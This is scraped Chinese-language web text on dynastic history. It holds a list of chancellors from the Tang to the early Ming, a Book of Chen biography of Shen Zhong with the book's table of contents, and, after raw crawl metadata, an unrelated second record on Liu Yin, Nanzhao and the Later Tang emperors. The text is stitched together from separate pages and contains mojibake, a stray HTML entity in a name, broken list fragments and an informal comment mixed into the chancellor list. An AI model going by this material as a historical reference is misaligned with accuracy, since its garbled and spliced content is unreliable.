李适 苗晋卿 裴遵庆 元载 李辅国 刘晏 李岘 王缙 杜鸿渐 裴冕 杨绾 常衮 德宗朝 宰相三十五人 崔佑甫 常衮 李勉 杨炎 卢杞 马燧 关播 萧复 乔琳 刘从一 姜公辅 卢翰 李晟 张延赏 韩滉 崔造 柳浑 李泌 董晋 赵憬 陆贽 贾耽 卢迈 崔损 赵宗儒 郑余庆 杜佑 齐抗 高郢 郑珣瑜 张镒 刘滋 齐映 浑瑊 窦参 顺宗朝 宰相七人 贾耽 杜佑 郑珣瑜 高郢 韦执谊 杜黄裳 袁滋 宪宗朝 宰相共二十九人 贾耽 韦执谊 杜佑 杜黄裳 袁滋 郑余庆 于頔 郑絪 武元衡 李吉甫 韩宏 裴洎 李藩 权德舆 李绛 张宏靖 韦贯之 裴度 李逢吉 王涯 崔群 李墉 李夷简 皇甫镈 程异 令狐楚 萧俯 段文昌 崔植 穆宗朝 宰相十四人 韩宏 裴度 李夷简 皇甫镈 令狐楚 张宏靖 萧俯 段文昌 崔植 杜元颖 王播 元稹 李逢吉 牛僧孺 敬宗朝 宰相七人 杜元颖 王播 李逢吉 牛僧孺 李程 裴度 窦易直 文宗朝 宰相二十四人 杜元颖 王播 李逢吉 牛僧孺 窦易直 裴度 韦处厚 杨嗣复 李珏? 路随 李宗闵 段文昌 宋申锡 李德裕 李固言 郑覃 王涯 李训 贾餗 舒元舆 李石 陈夷行 崔珙 崔郸 李绅 武宗朝 宰相十五人 李固言 李石 杨嗣复 李珏? 崔郸 牛僧孺 崔珙 李德裕 陈夷行 李绅 李让夷 崔铉 杜悰 李回 郑肃 宣宗朝 宰相二十三人 李让夷 李绅 郑肃 李回 白敏中 韦琮 崔元式 李德裕 卢商 马植 周墀 崔龟从 任铭 魏扶 令狐绹 裴休 魏谟 崔慎由 郑朗 萧邺 刘瑑 夏侯孜 蒋伸 懿宗朝 宰相二十一人 令狐绹 白敏中 萧邺 夏侯孜 蒋伸 杜审权 杜悰 毕諴 杨收 曹确 高璩 萧置 徐商 路岩 于琮 韦保衡 王铎 刘邺 赵隐 萧仿 崔彦昭 僖宗朝 宰相二十三人 萧仿 崔彦昭 郑畋 卢携 王铎 李蔚 郑从谠 崔沆 豆卢瑑 王徽 裴澈 萧遘 韦昭度 郑昌图 杜让能 孔纬 张浚 韦保衡 赵隐 刘邺 裴坦 刘瞻 刘崇望 昭宗朝 宰相二十五人 韦昭度 孔纬 杜让能 张浚 刘崇望 崔昭纬 徐彦若 郑延昌 王抟 崔胤 李溪 陆扆 孙偓 郑綮 朱朴 崔远 裴贽 裴枢 王溥 独孤损 柳璨 陆希声 苏检 卢光启 韦贻范 哀帝朝 宰相六人 裴枢 独孤损 崔远 柳璨 张文蔚 杨涉 五代 后梁 太祖朝 张文蔚 杨涉 薛贻矩 韩建 于竞 张策 赵光逢 杜晓 敬翔 郢王朝 赵光逢 杜晓 敬翔 末帝朝 赵光逢 杜晓 敬翔 姚洎 于竞 郑珏 萧顷 李琪 后唐 庄宗朝 豆卢革 卢程 赵光胤 韦说 明宗朝 豆卢革 韦说 郑珏 任圜 冯道 崔协 王建立 赵凤 李愚 刘昫 闵宗朝 陈兴云 刘昫 李愚 末帝朝 刘昫 李愚 卢文纪 姚顗 张延朗 韩昭胤 马胤孙 冯道 后晋 高祖朝 冯道 赵莹 桑维翰 李嵩 和凝 出帝朝 冯道 赵莹 桑维翰 李嵩 和凝 刘昫 冯玉 景延广 后汉 高祖朝 苏维吉 苏禹圭 窦贞固 李涛 隐帝朝 苏维吉 苏禹圭 窦贞固 李涛 杨邠 冯道 后周 太祖朝 冯道 苏禹圭 窦贞固 王峻 李谷 范质 世宗朝 范质 李谷 景范 王溥 魏仁浦 恭帝朝 范质 王溥 魏仁浦 北汉 世祖朝 郑珙 赵华 睿宗朝 赵华 卫融 赵弘 郭无为 张昭敏 少主朝 郭无为 张昭敏 英武帝朝 郭无为 刘继文 刘继颙 李恽 前蜀 高祖朝 王宗佶 韦庄 张格 王锴 周庠 庾传素 后主朝 张格 王锴 周庠 庾传素 许寂 后蜀 高祖朝 孟仁赞 赵季良 后主朝 赵季良 毋昭裔 张业 李昊 徐光溥 范仁恕 欧阳迥 吴 高祖朝 徐温 严可求 徐知诰 睿帝朝 徐温 严可求 王令谋 宋齐丘 徐知训 徐知诰 徐知询 徐景通 徐景迁 徐景遂 徐景达 南唐 烈祖朝 宋齐丘 张延翰 张居咏 李建勋 徐玠 李景遂 元宗朝 宋齐丘 张居咏 徐玠 周宗 李建勋 李景遂 李景运 冯延巳 杜昌业 常梦锡 孙晟 钟谟 严续 游梦言 殷崇义 李弘冀 李从嘉 后主朝 严续 游梦言 殷崇义 南汉 高祖朝 赵光裔 杨洞潜 李殷衡 倪曙 刘浚 赵损 王定保 王翻 殇帝朝 赵光裔 杨洞潜 刘浚 刘弘昌 中宗朝 刘浚 王翻 刘弘昌 刘弘杲 陈渥 黄琼芝 卢膺 后主朝 陈延寿 李托 钟允章 龚澄枢 闽 惠宗朝 王延禀 王继鹏 李敏 康宗朝 王延曦 叶翘 王倓 景宗朝 李敏 李真 王亚澄 杨沂丰 余廷英 李仁遇 李光准 福王朝 王继昌 潘承佑 楚 马賨 马存 高郁 吕师周 廖偃 姚彦章 许德勋 吴越 武肃王朝 钱元瓘 杜建徽 文穆王朝 杜建徽 曹仲达 沈嵩 皮光业 陆仁章 仰仁诠 许明 钱弘佐 忠献王朝 曹仲达 皮光业 仰仁诠 林鼎 郭师从 元德昭 吴程 钱弘倧 忠逊王朝 元德昭 吴程 钱弘俶 忠懿王朝 元德昭 钱弘亿 吴程 裴坚 吴延福 鲍修让 沈虎子 崔仁冀 钱惟浚 北宋 太祖朝 宰相六人 范质 王溥 魏仁浦 赵普 薛居正 沈义伦 太宗朝 宰相九人 赵普 薛居正 沈义伦 卢多逊 宋琪 李昉 吕蒙正 张齐贤 吕端 真宗朝 宰相十二人 吕蒙正 张齐贤 吕端 李沆 向敏中 毕士安 寇准 王旦 王钦若 丁谓 李迪 冯拯 仁宗朝 宰相二十三人 王钦若 丁谓 冯拯 王曾 李迪 张知白 张士逊 吕夷简 王随 陈尧佐 章得象 晏殊 杜衍 贾昌朝 陈执中 文彦博 宋庠 庞籍 梁适 刘沆 富弼 韩琦 曾公亮 英宗朝 宰相二人 韩琦 曾公亮 神宗朝 宰相九人 富弼 韩琦 曾公亮 陈旭 王安石 韩绛 吴充 王圭 蔡确 哲宗朝 宰相十一人 司马光 文彦博 王圭 蔡确 韩缜 吕公著 吕大防 范纯仁 刘挚 苏颂 章敦 徽宗朝 宰相十二人 章敦 韩忠彦 曾布 蔡京 赵挺之 何执中 张商英 刘正夫 余深 王黼 李邦彦 白时中 钦宗朝 宰相七人 李邦彦 白时中 张邦昌 吴敏 徐处仁 唐恪 何&258; 南宋 高宗朝 宰相十五人 李纲 黄潜善 汪伯彦 朱胜非 吕颐浩 杜充 范宗尹 赵鼎 张浚 秦桧 万俟卨 沈该 汤思退 陈康伯 朱倬 孝宗朝 宰相十八人 张浚 汤思退 陈康伯 朱倬 史浩 洪适 叶颙 魏杞 蒋芾 陈俊卿 虞允文 梁克家 曾怀 叶衡 赵雄 王淮 周必大 留正 光宗朝 宰相三人 周必大 留正 葛邲 宁宗朝 宰相九人 留正 赵汝愚 余端礼 京镗 谢深甫 陈自强 韩侂胄 钱象祖 史弥远 理宗朝 宰相十六人 史弥远 郑清之 乔行简 崔与之 李宗勉 史嵩之 范钟 杜范 游侣 赵葵 谢方叔 吴潜 董槐 程元凤 丁大全 贾似道 度宗朝 宰相五人 贾似道 程元凤 叶梦鼎 江万里 马廷鸾 恭帝朝 宰相七人 贾似道 王爚 章鉴 陈宜中 留梦炎 吴坚 文天祥 端宗朝 宰相三人 陈宜中 李庭芝 幼帝朝 宰相二人 文天祥 :的丞相 明朝 太祖朝 徐达 李善长 常遇春 赵庸 汪广洋 廖永忠 胡惟庸:中国最后一任有实权的宰相 鞠躬尽瘁,死而后已 的忠 是诸葛亮的最大亮点,不过要说忠,文天祥,陆秀夫更忠~ 至于军事才能和,劝谏,识人,改革等 比 管仲 房玄龄、杜如晦 狄仁杰,王安石、司马光 就差远了~www.shufadashi.com*�ɼ*�\n沈众,字仲师,吴兴武康人。沈众爱好学习,言语文章很有词采,在梁朝以出任梁镇卫南平王法曹参军、太子舍人起家。当阳公萧大心为郢州刺史,用沈众做限内记室参军。不久任命为镇南湘东王记室参军。升任太子中舍人,兼任散骑常侍。\n沈众被委派前往西魏通问修好,回来后,升任骠骑庐陵王谘议参军,舍人的职务依旧担任。\n侯景叛乱时,沈众进言梁武帝,声称家族世代原来所统率的讲求节义的军队,都在吴兴,请求回去招募用来讨伐叛贼,梁武帝同意这样做。到侯景围攻台越时,沈众率领自己宗族子弟和随从而来的部众共五千余人,进入京城救援,安顿在小航这个地方,对着叛贼的东府布置阵势,军容十分整齐,侯景非常害怕他们。梁武帝在城内远远地任命沈众为太子右卫率。京城失陷,沈众向侯景投降了。\n侯景之乱被平定后,沈众往西逆流而上去了荆州,梁元帝任用他为太子中庶子、本州大中正。不久升任司徒左长史。江陵失陷时,他被西魏所俘虏,不久就逃回来了,梁敬帝秉承皇帝的旨意,任命他为御史中丞。\n绍泰元年,任命为侍中,升任左民尚书。\n陈高祖陈霸先登位,升任中书令,中正的职务依旧担任。\n永定二年,兼任起部尚书,监管建造太极殿。总是穿着布袍草鞋,用麻绳作为带子,又携带干鱼蔬菜饭食独自吃,朝廷中士大夫都讥讽他这种做法。沈众性情褊急不能受委屈,于是忿恨,便依次诽谤公卿大臣,责难诋毁朝廷。高祖非常恼怒,因为沈众一直有名望受人景仰,高祖不愿意公开杀他,后来因为沈众休假回到武康,高祖于是命令沈众在吴中自杀了,时年五十六岁。 [1]\n梁武帝制作了《千字诗》,沈众为诗篇做了注解。他和陈郡人谢景同时被召见于文德殿,梁武帝命令沈众作《竹赋》,赋写成后,呈上,梁武帝欣赏他所作的赋。\n陈高祖陈霸先因为沈众在国内有名望,非常敬重他,赏赐优厚,超过当时的有名人物。沈众性格吝啬,家内所治产业,钱财布帛以亿计数,没有分送遇他人。沈众自己奉养十分俭省,每次在朝廷聚会之中,他的衣裳破烂裂开,或者亲自提着帽子和鞋子。\n梁武帝亲手写诏书回话说:\"你的文章风格飘扬,可以说无愧于你的祖父。\"\n《陈书卷十八 列传第十二》\n祖父:沈约,在梁任特进。\n父亲:沈旋,在梁朝任给事黄门侍郎。\n《陈书》中没有梁邃传这一篇 全书篇目 本纪 卷一·本纪第一 高祖上 卷二·本纪第二 高祖下 卷三·本纪第三 世祖 卷四·本纪第四 废帝 卷五·本纪第五 宣帝 卷六·本纪第六 后主 列传 卷七·列传第一 高祖章皇后 世祖沈皇后 废帝王皇后 高宗柳皇后 后主沈皇后 张贵妃 卷八·列传第二 杜僧明 周文育 子宝安 侯安都 卷九·列传第三 侯瑱 欧阳頠 子纥 吴明彻 裴子烈 卷十·列传第四 周铁虎 程灵洗 子文季 卷十一·列传第五 黄法抃 淳于量 章昭达 卷十二·列传第六 胡颖 徐度 子敬成 杜棱 沈恪 卷十三·列传第七 徐世谱 鲁悉达 周敷 荀朗 子法尚周炅 卷十四·列传第八 衡阳献王昌 南康愍王昙朗 子方泰方庆 卷十五·列传第九 陈拟 陈详 陈慧纪 卷十六·列传第十 赵知礼 蔡景历 刘师知 谢岐 卷十七·列传第十一 王冲 王通 弟劢 袁敬 兄子枢 卷十八·列传第十二 沈众 袁泌 刘仲威 陆山才王质 韦载 族弟翙 卷十九·列传第十三 沈炯 虞荔 弟寄 马枢 卷二十·列传第十四 到仲举 韩子高 华皎 卷二十一·列传第十五 谢哲 萧乾 谢嘏 张种 王固孔奂 萧允 弟引 卷二十二·列传第十六 陆子隆 钱道戢 骆牙 卷二十三·列传第十七 沈君理 王瑒 陆缮 卷二十四·列传第十八 周弘正 弟弘直 弘直子确 袁宪 卷二十五·列传第十九 裴忌 孙瑒 卷二十六·列传第二十 徐陵 子俭 份 仪 弟孝克 卷二十七·列传第二十一 江总 姚察 卷二十八·列传第二十二 世祖九王 高宗二十九王 后主十一子 卷二十九·列传第二十三 宗元饶 司马申 毛喜 蔡徵 卷三十·列传第二十四 萧济 陆琼 子从典 顾野王 傅縡 章华 卷三十一·列传第二十五 萧摩诃 子世廉 任忠 樊毅 弟猛 鲁广达 卷三十二·列传第二十六 孝行 卷三十三·列传第二十七 儒林 卷三十四·列传第二十八 文学 卷三十五·列传第二十九 熊昙朗 周迪 留异 陈宝应 卷三十六·列传第三十 始兴王叔陵 新安王伯固 卷三十六·列传第三十一 剧中*www.shufadashi.com*ɼ*�","id":"","dump":"CC-MAIN-2021-17","url":"http:\/\/m.shufadashi.com\/b\/1719\/qe17197894.html","date":"2021-04-17T05:26:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038101485.44\/warc\/CC-MAIN-20210417041730-20210417071730-00245.warc.gz","language":"lzh","language_score":0.6795943379,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6795943379402161, \"cmn_Hani_score\": 0.23683243989944458, \"nan_Hani_score\": 0.07277465611696243}","num_words":2472,"character_repetition_ratio":0.02,"word_repetition_ratio":0.0,"special_characters_ratio":0.27,"stopwords_ratio":0.004,"flagged_words_ratio":0.0,"lang_id_score":0.739,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"劉隱 ,其祖安仁,上蔡人也,後徙閩中,商賈南海,因家焉。父謙,為廣州牙將。 謙卒,廣州表隱代謙封州刺史。乾寧中,節度使劉崇龜死,嗣薛王知柔代為帥,行至湖南,廣州將盧琚、覃玘作亂,知柔不敢進。隱以封州兵攻殺琚、玘,迎知柔,知柔辟隱行軍司馬。其後徐彥若代知柔,表隱節度副使,委以軍政。彥若卒,軍中推隱為留後。天祐二年,拜隱節度使。梁開平元年,加檢校太尉、兼侍中。二年,兼靜海軍節度、安南都護。三年,加檢校太師、兼中書令,封南平王。 隱父子起封州,遭世多故,數有功於嶺南,遂有南海。隱復好賢士。是時,天下已亂,中朝士人以嶺外最遠,可以避地,多遊焉。唐世名臣謫死南方者往往有子孫,或當時仕宦遭亂不得還者,皆 ...\n其父皮邏閣得大唐之助,一統六詔,受唐封為 雲南王 。唐天寶七年,皮邏閣薨,閣邏鳳立,襲封。其本皮邏閣嗣子,皮邏閣即薨,與二弟於誠節爭位,勝,流誠節。父在位,其即從平六詔,及即位之後,又滅東之東爨、西爨,遂控滇東。 閣邏鳳初臣於唐,助唐拒吐蕃。後唐雲南太守張虔陀無禮於閣邏鳳,又屢求財物。天寶九年,閣邏鳳發兵攻陷姚州,殺張虔陀。唐劍南節度使鮮于仲通討之,又為所敗。天寳十年,建元長壽。天寳十一年,閣邏鳳遂附於吐蕃,吐蕃封閣邏鳳為 贊普鍾 ,號曰 東帝 ,乃以贊普鍾為年號。時楊國忠為相,又徵兵於天下,大舉討伐,亦為閣邏鳳所敗。既而,安史之亂發,閣邏鳳乃擴其地,統今雲南及川西南、黔西北。遂立律法,修道路, ...\n廣初 ,吳越武肅王之年號也。未詳其所立之年限,當在寶正之後。疑在九三一年間。\n張家界市 ,故名 大庸 ,處湖南西北,澧水之源,方九千五百一十八平方公里,常居者一百四十七萬有餘,市治永定區。有國家森林公園在焉,而通國莫先之。「奇峰三千,秀水八百」,用是聞名。\n晁崇 ,字 子業 ,遼東裘平人也。家世史官。初為慕容垂太史郎,從太祖平中原, 拜太史令。詔崇造渾儀。遷中書侍郎令如故。後賜死。崇所造儀,以鐵為之,其規有 六。其外四規常定,一象地形,二象赤道,其餘象二極。其內二規,可以運轉,用合 八尺之管,以窺星度。後周武帝平齊得之,至隋唐尚存。\nⓘ 後唐\n唐 ,五代之二也。\n太祖武帝李克用,本姓朱邪氏,其先陇右金城人也。始祖拔野,唐貞觀中为墨离軍使,从太宗讨高句麗、薛延陀有功,因家於瓜州。太宗分同罗、仆骨之人,置沙陀都督府,故因以为名焉。永徽中,以拔野为都督。其後子孙五世相承。克用仕唐为河東節度使,累封晉王。天祐四年,唐哀帝已禅于梁。晉王犹称天祐。天祐二十年,克用子存勗即皇帝位於邺都,國號唐,其年平梁。清泰三年,晉高祖入雒,末帝從珂自焚。後唐自莊宗癸未歲建國至末帝丙申,凡三代四主十四年。\n1. 唐世系\n- 唐末帝從珂,閔帝義兄\n- 唐閔帝從厚,明宗子\n- 唐明宗嗣源,莊宗義兄\n- 唐莊宗存勗\n- 唐 明宗 唐代北應州胡人 名邈佶烈 李克用養以為子 賜名嗣源 唐 莊宗被弑 嗣源嗣立 為人純質 寬仁愛民 常夜焚香祝天 愿早生聖人 即位 後 減罷宮人伶官 廢內藏庫 百姓賴以休息 然屢以非辜誅殺臣下 及病 秦王從榮作亂 伏誅 明宗飲恨而終 廟號明宗 在位八年 葬徽陵 舊五代史 新五代史\n- 唐 以降諡號長甚 故四字以上者不詳列 唐高祖 唐太宗 唐 高宗 唐 中宗 唐 睿宗 武氏篡 唐 則天順聖皇后 遺詔稱皇后 實為皇帝 唐 中宗 重祚 唐 睿宗 重祚 唐玄宗 唐 肅宗 唐代宗 唐 德宗 唐 順宗 唐 憲宗 唐 穆宗 唐 敬宗 唐 文宗 唐 武宗 唐 宣宗 唐 懿宗 唐 僖宗 唐 昭宗 唐 昭宣帝 後 唐 諡昭宣光烈孝皇帝\n- 唐 末帝 一稱 唐 廢帝 唐 明宗養子 本姓王 名從珂 小字阿三 鎮州平山人 母魏氏 明宗甚愛之 屢立戰功 封潞王 應順元年二月攻入洛陽 鴆殺 唐 閔帝而立 石敬瑭獻燕雲十六州引契丹南下 大敗 唐 師 末帝登玄武樓自焚而死 敬瑭建後晉 葬末帝於明宗之徽陵 末帝在位三年 後 唐 亡 舊五代史 新五代史\n- 唐 昭宣帝 姓李 諱柷 原名祚 唐 末代皇帝 昭宗九子也 朱溫弒昭宗 矯詔立祝為皇太子 帝在位四年 年號天祐 朱溫篡位 立 後 梁代 唐 封帝為濟陰王 開平二年見弒 謚曰哀 不上廟號 後 唐 明宗追謚昭宣 舊 唐 書 哀帝本紀 新 唐 書 昭宣皇紀\n- 唐 閔帝 唐 明宗第五子 名從厚 從厚即位 後 親政節儉 潞王李從珂反叛 應順元年二月攻入洛陽 閔帝出逃 為河東節度使石敬瑭挾回洛陽 從珂廢帝為鄂王 尋以鴆酒弒之於衛州 在位一年 石敬瑭建 後 晋 諡從厚為閔帝 葬明宗之徽陵 舊五代史 新五代史\n- 梁 五代之一也 唐 天祐四年 朱溫廢 唐 哀帝 自立為帝 建號梁 都汴州開封府 史稱 後 梁 以別於蕭衍所建之南梁 龍德三年 十月梁末帝被殺 後 梁為 後 唐 所滅 後 梁自太祖丁卯歲建國至末帝癸未 凡二代三主十七年 後梁太祖朱溫 郢王朱友珪 太祖子 梁末帝朱友貞 郢王弟\n- 唐 中宗 諱顯 唐 高宗第七子 中宗即位 後 母武太后廢之為廬陵王 遷於房州 又遷於均州 武周中 狄仁傑舉其復太子之位 長安末張柬之舉兵討亂 帝始復位 復 唐 國號 然惑於皇后韋氏 皇女安樂公主 公主弒帝於神龍殿 廟號中宗 舊 唐 書 新 唐 書\n- 唐 僖宗 諱儇 原名李儼 唐 懿宗第五子 即位 後 天下盜起 王仙芝作亂 黃巢聚眾應之 陷東都 入潼關 帝走興元府 後 入蜀 黃巢殺 唐 宗室於長安者幾無遺類 李克用破黃巢 帝還長安 為田令孜劫如寶雞 復走興元府 文德元年還長安 尋崩 在位十五年 廟號僖宗 舊 唐 書 新 唐 書\n- 唐 文宗 諱昂 原名李涵 唐 穆宗第二子也 帝即位 後 深知穆宗 敬宗兩朝之弊 勵精求治 出宮女三千餘人 放五坊鷹犬 省冗官一千二百餘員 大和初 政號清明 帝仁而少斷 制宦官不得其術 遂成甘露之變 在位十四年崩 廟號文宗 舊 唐 書 新 唐 書","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/google-cn.info\/75329\/1\/%E5%BE%8C%E5%94%90.html","date":"2021-12-03T05:32:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362589.37\/warc\/CC-MAIN-20211203030522-20211203060522-00370.warc.gz","language":"lzh","language_score":0.6242945194,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6242945194244385, \"cmn_Hani_score\": 0.26907429099082947, \"nan_Hani_score\": 0.09140866249799728, \"wuu_Hani_score\": 0.011354601010680199}","num_words":318,"character_repetition_ratio":0.02,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.836,"perplexity_score":500.0,"cluster_detection":-1} diff --git a/lzh_Hani/fineweb-2_000001_stas.jsonl b/lzh_Hani/fineweb-2_000001_stas.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..d2ca64790d5d2bc1a2951c5e9511b6755f840fc0 --- /dev/null +++ b/lzh_Hani/fineweb-2_000001_stas.jsonl @@ -0,0 +1,115 @@ +[ + { + "avg": { + "num_words": 609.486646884273, + "character_repetition_ratio": 0.0019681008902077152, + "word_repetition_ratio": 5.26706231454006e-05, + "special_characters_ratio": 0.222473293768546, + "stopwords_ratio": 0.00492433234421365, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.6198827893175075, + "perplexity_score": 500.0 + } + }, + { + "std": { + "num_words": 4654.058902466303, + "character_repetition_ratio": 0.0052240334487348656, + "word_repetition_ratio": 0.0012726465991343928, + "special_characters_ratio": 0.06953402577719153, + "stopwords_ratio": 0.023629595339098537, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.19388960172302863, + "perplexity_score": 0.0 + } + }, + { + "median": { + "num_words": 66.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.211, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.593, + "perplexity_score": 500.0 + } + }, + { + "max": { + "num_words": 76326.0, + "character_repetition_ratio": 0.045, + "word_repetition_ratio": 0.046, + "special_characters_ratio": 0.589, + "stopwords_ratio": 0.298, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "min": { + "num_words": 1.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.053, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.139, + "perplexity_score": 500.0 + } + }, + { + "90%": { + "num_words": 804.1999999999998, + "character_repetition_ratio": 0.007, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.29829999999999995, + "stopwords_ratio": 0.005, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.9382999999999999, + "perplexity_score": 500.0 + } + }, + { + "75%": { + "num_words": 301.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.253, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.7484999999999999, + "perplexity_score": 500.0 + } + }, + { + "50%": { + "num_words": 66.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.211, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.593, + "perplexity_score": 500.0 + } + }, + { + "25%": { + "num_words": 7.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.174, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.46975, + "perplexity_score": 500.0 + } + }, + { + "total size": "1348", + "keep size": "1238", + "remove size": "110" + } +] \ No newline at end of file diff --git a/lzh_Hani/mala_000002_keep.jsonl b/lzh_Hani/mala_000002_keep.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..1089408a1b3c842fc1a662b4962e2da518c715bd --- /dev/null +++ b/lzh_Hani/mala_000002_keep.jsonl @@ -0,0 +1,41 @@ +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"每晶體基之訊息,可記以一每邊有記號之有向圖。 圖中每一頂點代表 之 -基 之一元,每一自 頂點 指 頂點 之有向邊 i代表等式 (或 ),其中為相應之基向量 ,為相應之基向量 。此圖定義 與 於 時之作用。 設一可積表示有一晶體基;彼不可約若且僅若其圖連通。","num_words":18,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.288,"stopwords_ratio":0.167,"flagged_words_ratio":0.0,"lang_id_score":0.989,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"列傳第三十 解系 孫旂 孟觀 牽秀 繆播 皇甫重 張輔 李含 張方 閻鼎 索靖 賈疋","num_words":13,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.286,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.953,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"列傳第十九 阮籍 嵇康 向秀 劉伶 謝鯤 胡毋輔之 畢卓 王尼 羊曼 光逸","num_words":11,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.27,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.687,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"列傳第四十四 桓彝(子桓雲 雲弟桓豁 豁子桓石虔 虔子桓振 虔弟桓石秀 桓石民 桓石生 桓石綏 桓石康 豁弟桓秘 秘弟桓衝 衝子桓嗣 嗣子桓胤 嗣弟桓謙 謙弟桓修)徐寧","num_words":16,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.202,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.483,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"列傳第六十 良吏 魯芝 胡威 杜軫 竇允 王宏 曹攄 潘京 範晷 丁紹 喬智明 鄧攸 吳隱之","num_words":14,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.298,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.994,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"茍駐輪,以普通話曰:「黃山到了,請從左側車門下車,注意列車與站台之間的空隙。」次福州話曰:「黃山遘了,請趁左邊車門落車。」英語曰:「We are now at Huangshan. Please get ready to alight on the left.」","num_words":13,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.552,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"孔教學院大成何郭佩珍中學,略云何中、何郭佩珍(英文: Confucian Tai Shing Ho Kwok Pui Chun College ,CTSHKPCC,HKPC),處香港大埔區富善邨。乃一孔教中學,冠笄同校。近有富善廣場、救恩書院及香港道敎聯合會圓玄第二中學。","num_words":10,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.717,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"列傳第八 宣五王 平原王榦 琅邪王伷 清惠亭侯京 扶風王駿 梁王肜 文六王 齊獻王攸 城陽哀王兆 遼東悼惠王定國 廣漢殤王廣德 樂安平王鑒 燕王機 司馬永祚 樂平王延祚","num_words":16,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.179,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.987,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"一緊致矩陣量子羣之有限維表示 為一Hopf *-代數之 餘表示 。 吾人稱表示 v 為么正, 若其矩陣為么正(或,等價地,若每 i, j有 )。","num_words":10,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.329,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"當是時也,歐洲遍戰事,故能得其用,然亦可見而足知其所不利,何也? 歐陸廣域,常需騁騖。 機槍者,重物也,飛機不得載之以為攻具; 一人之力,不能攜運。 後斯考博由是而為輕機槍,即麥德森輕機槍。 先是,馬克沁考於加特林而後得馬克沁機槍,射發遠而速,亦重。 麥德森實自於步槍,先成於半自動步槍,頂置彈匣,給彈以機械之力,亦使重力,利於續發,後漸而為輕機槍。 其出於步槍,故射發不及馬克沁,然輕,其重或半於重機槍,故利攜用。 是以輕機槍亦遍見於戰場。機槍重者利射殺,而輕者便機動。 後德國制為通用機槍,使兼而得之。 希特勒嘗欲為重機槍,然德國敗於一戰,立約,不為重兵器。 希特勒欲欺英法而私為之,乃制德萊塞輕機槍而改之,即MG13機槍,其力漸近於重機槍,而狀類輕機槍,人不之覺。 後毛瑟公司以之為MG34、42,攜以隨處用之如輕機槍; 架而用之,射發類重機槍,易傷人,故稱通用。 德國常以之阻盟軍,射程類盟軍之用,而其速遠過之,故冠於當時。 